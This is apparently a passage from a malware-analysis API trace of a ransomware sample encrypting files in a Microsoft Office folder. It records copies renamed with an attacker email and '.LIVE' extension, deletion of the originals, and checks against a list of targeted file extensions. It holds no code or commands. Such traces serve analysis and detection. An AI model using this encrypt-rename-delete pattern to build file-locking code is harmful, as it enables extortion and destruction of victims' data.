office\\office14\\1033\\visio_col.hxt.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0146.895] GetLastError () returned 0x0 [0146.895] ReadFile (in: hFile=0x384, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0xcd, lpOverlapped=0x0) returned 1 [0146.896] WriteFile (in: hFile=0x36c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0146.897] ReadFile (in: hFile=0x384, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.897] WriteFile (in: hFile=0x36c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xee, lpOverlapped=0x0) returned 1 [0146.897] SetEndOfFile (hFile=0x36c) returned 1 [0146.897] CloseHandle (hObject=0x36c) returned 1 [0146.897] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.897] SetEndOfFile (hFile=0x384) returned 1 [0146.899] CloseHandle (hObject=0x384) returned 1 [0146.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.900] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxt")) returned 1 [0146.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0146.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0146.901] lstrlenW (lpString=".doc") returned 4 [0146.901] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0146.901] lstrlenW (lpString=".docx") returned 5 [0146.901] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0146.901] lstrlenW (lpString=".pdf") returned 4 [0146.901] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0146.901] lstrlenW (lpString=".xls") returned 4 [0146.901] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0146.901] lstrlenW (lpString=".xlsx") returned 5 [0146.901] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0146.901] lstrlenW (lpString=".ppt") returned 4 [0146.901] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0146.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0146.901] lstrlenW (lpString=".zip") returned 4 [0146.901] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0146.901] lstrlenW (lpString=".rar") returned 4 [0146.901] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0146.901] lstrlenW (lpString=".bz2") returned 4 [0146.901] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0146.901] lstrlenW (lpString=".7z") returned 3 [0146.901] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0146.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0146.901] lstrlenW (lpString=".dbf") returned 4 [0146.901] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0146.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0146.901] lstrlenW (lpString=".1cd") returned 4 [0146.901] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0146.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0146.901] lstrlenW (lpString=".jpg") returned 4 [0146.901] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0146.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0146.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0146.901] lstrlenW (lpString=".doc") returned 4 [0146.901] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0146.902] lstrlenW (lpString=".docx") returned 5 [0146.902] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0146.902] lstrlenW (lpString=".pdf") returned 4 [0146.902] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0146.902] lstrlenW (lpString=".xls") returned 4 [0146.902] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0146.902] lstrlenW (lpString=".xlsx") returned 5 [0146.902] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0146.902] lstrlenW (lpString=".ppt") returned 4 [0146.902] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0146.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0146.902] lstrlenW (lpString=".zip") returned 4 [0146.902] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0146.902] lstrlenW (lpString=".rar") returned 4 [0146.902] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0146.902] lstrlenW (lpString=".bz2") returned 4 [0146.902] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0146.902] lstrlenW (lpString=".7z") returned 3 [0146.902] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0146.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0146.902] lstrlenW (lpString=".dbf") returned 4 [0146.902] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0146.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0146.902] lstrlenW (lpString=".1cd") returned 4 [0146.902] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0146.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT") returned 61 [0146.902] lstrlenW (lpString=".jpg") returned 4 [0146.902] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0146.902] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0146.902] lstrlenW (lpString="VISIO_F_COL.HXK") returned 15 [0146.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0146.903] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=114) returned 1 [0146.903] CloseHandle (hObject=0x384) returned 1 [0146.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_f_col.hxk")) returned 0x20 [0146.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0146.903] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.904] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0146.904] GetLastError () returned 0x0 [0146.904] ReadFile (in: hFile=0x384, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x72, lpOverlapped=0x0) returned 1 [0147.180] WriteFile (in: hFile=0x36c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x80, lpOverlapped=0x0) returned 1 [0147.180] ReadFile (in: hFile=0x384, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0147.181] WriteFile (in: hFile=0x36c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0147.181] SetEndOfFile (hFile=0x36c) returned 1 [0147.181] CloseHandle (hObject=0x36c) returned 1 [0147.181] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.181] SetEndOfFile (hFile=0x384) returned 1 [0147.251] CloseHandle (hObject=0x384) returned 1 [0147.251] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.288] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_f_col.hxk")) returned 1 [0147.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0147.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0147.305] lstrlenW (lpString=".doc") returned 4 [0147.305] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0147.305] lstrlenW (lpString=".docx") returned 5 [0147.305] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0147.305] lstrlenW (lpString=".pdf") returned 4 [0147.305] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0147.305] lstrlenW (lpString=".xls") returned 4 [0147.305] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0147.305] lstrlenW (lpString=".xlsx") returned 5 [0147.305] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0147.305] lstrlenW (lpString=".ppt") returned 4 [0147.305] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0147.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0147.305] lstrlenW (lpString=".zip") returned 4 [0147.305] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0147.305] lstrlenW (lpString=".rar") returned 4 [0147.305] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0147.305] lstrlenW (lpString=".bz2") returned 4 [0147.305] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0147.305] lstrlenW (lpString=".7z") returned 3 [0147.305] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0147.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0147.305] lstrlenW (lpString=".dbf") returned 4 [0147.305] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0147.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0147.306] lstrlenW (lpString=".1cd") returned 4 [0147.306] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0147.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0147.306] lstrlenW (lpString=".jpg") returned 4 [0147.306] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0147.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0147.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0147.306] lstrlenW (lpString=".doc") returned 4 [0147.306] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0147.306] lstrlenW (lpString=".docx") returned 5 [0147.306] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0147.306] lstrlenW (lpString=".pdf") returned 4 [0147.306] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0147.306] lstrlenW (lpString=".xls") returned 4 [0147.306] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0147.306] lstrlenW (lpString=".xlsx") returned 5 [0147.306] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0147.306] lstrlenW (lpString=".ppt") returned 4 [0147.306] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0147.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0147.306] lstrlenW (lpString=".zip") returned 4 [0147.306] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0147.306] lstrlenW (lpString=".rar") returned 4 [0147.306] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0147.306] lstrlenW (lpString=".bz2") returned 4 [0147.306] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0147.306] lstrlenW (lpString=".7z") returned 3 [0147.306] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0147.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0147.307] lstrlenW (lpString=".dbf") returned 4 [0147.307] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0147.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0147.307] lstrlenW (lpString=".1cd") returned 4 [0147.307] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0147.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0147.307] lstrlenW (lpString=".jpg") returned 4 [0147.307] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0147.307] lstrcmpiW (lpString1=".VRD", lpString2=".LIVE") returned 1 [0147.307] lstrlenW (lpString="WDERRLNK.VRD") returned 12 [0147.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wderrlnk.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0147.309] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1826) returned 1 [0147.310] CloseHandle (hObject=0x394) returned 1 [0147.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wderrlnk.vrd")) returned 0x20 [0147.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wderrlnk.vrd.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wderrlnk.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0147.317] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.317] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wderrlnk.vrd.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0147.318] GetLastError () returned 0x0 [0147.318] ReadFile (in: hFile=0x350, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x722, lpOverlapped=0x0) returned 1 [0147.320] WriteFile (in: hFile=0x39c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x730, lpOverlapped=0x0) returned 1 [0147.321] ReadFile (in: hFile=0x350, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0147.321] WriteFile (in: hFile=0x39c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.321] SetEndOfFile (hFile=0x39c) returned 1 [0147.321] CloseHandle (hObject=0x39c) returned 1 [0147.321] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.321] SetEndOfFile (hFile=0x350) returned 1 [0147.323] CloseHandle (hObject=0x350) returned 1 [0147.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.323] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wderrlnk.vrd")) returned 1 [0147.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0147.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0147.324] lstrlenW (lpString=".doc") returned 4 [0147.324] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0147.324] lstrlenW (lpString=".docx") returned 5 [0147.324] lstrcmpiW (lpString1=".docx", lpString2="K.VRD") returned -1 [0147.324] lstrlenW (lpString=".pdf") returned 4 [0147.324] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0147.324] lstrlenW (lpString=".xls") returned 4 [0147.324] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0147.324] lstrlenW (lpString=".xlsx") returned 5 [0147.324] lstrcmpiW (lpString1=".xlsx", lpString2="K.VRD") returned -1 [0147.324] lstrlenW (lpString=".ppt") returned 4 [0147.324] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0147.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0147.324] lstrlenW (lpString=".zip") returned 4 [0147.324] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0147.324] lstrlenW (lpString=".rar") returned 4 [0147.324] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0147.325] lstrlenW (lpString=".bz2") returned 4 [0147.325] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0147.325] lstrlenW (lpString=".7z") returned 3 [0147.325] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0147.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0147.325] lstrlenW (lpString=".dbf") returned 4 [0147.325] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0147.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0147.325] lstrlenW (lpString=".1cd") returned 4 [0147.325] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0147.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0147.325] lstrlenW (lpString=".jpg") returned 4 [0147.325] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0147.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0147.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0147.325] lstrlenW (lpString=".doc") returned 4 [0147.325] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0147.325] lstrlenW (lpString=".docx") returned 5 [0147.325] lstrcmpiW (lpString1=".docx", lpString2="K.VRD") returned -1 [0147.325] lstrlenW (lpString=".pdf") returned 4 [0147.325] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0147.325] lstrlenW (lpString=".xls") returned 4 [0147.325] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0147.325] lstrlenW (lpString=".xlsx") returned 5 [0147.325] lstrcmpiW (lpString1=".xlsx", lpString2="K.VRD") returned -1 [0147.325] lstrlenW (lpString=".ppt") returned 4 [0147.325] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0147.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0147.325] lstrlenW (lpString=".zip") returned 4 [0147.325] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0147.325] lstrlenW (lpString=".rar") returned 4 [0147.325] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0147.325] lstrlenW (lpString=".bz2") returned 4 [0147.325] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0147.325] lstrlenW (lpString=".7z") returned 3 [0147.325] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0147.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0147.326] lstrlenW (lpString=".dbf") returned 4 [0147.326] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0147.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0147.326] lstrlenW (lpString=".1cd") returned 4 [0147.326] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0147.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0147.326] lstrlenW (lpString=".jpg") returned 4 [0147.326] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0147.326] lstrcmpiW (lpString1=".HXS", lpString2=".LIVE") returned -1 [0147.326] lstrlenW (lpString="WINPROJ.DEV.HXS") returned 15 [0147.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0147.327] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=4932186) returned 1 [0147.327] CloseHandle (hObject=0x350) returned 1 [0147.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev.hxs")) returned 0x20 [0147.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.327] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0147.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0147.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0147.328] lstrlenW (lpString=".doc") returned 4 [0147.328] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0147.328] lstrlenW (lpString=".docx") returned 5 [0147.328] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0147.328] lstrlenW (lpString=".pdf") returned 4 [0147.328] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0147.328] lstrlenW (lpString=".xls") returned 4 [0147.328] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0147.328] lstrlenW (lpString=".xlsx") returned 5 [0147.328] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0147.328] lstrlenW (lpString=".ppt") returned 4 [0147.328] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0147.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0147.328] lstrlenW (lpString=".zip") returned 4 [0147.328] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0147.328] lstrlenW (lpString=".rar") returned 4 [0147.328] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0147.328] lstrlenW (lpString=".bz2") returned 4 [0147.328] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0147.328] lstrlenW (lpString=".7z") returned 3 [0147.328] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0147.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0147.328] 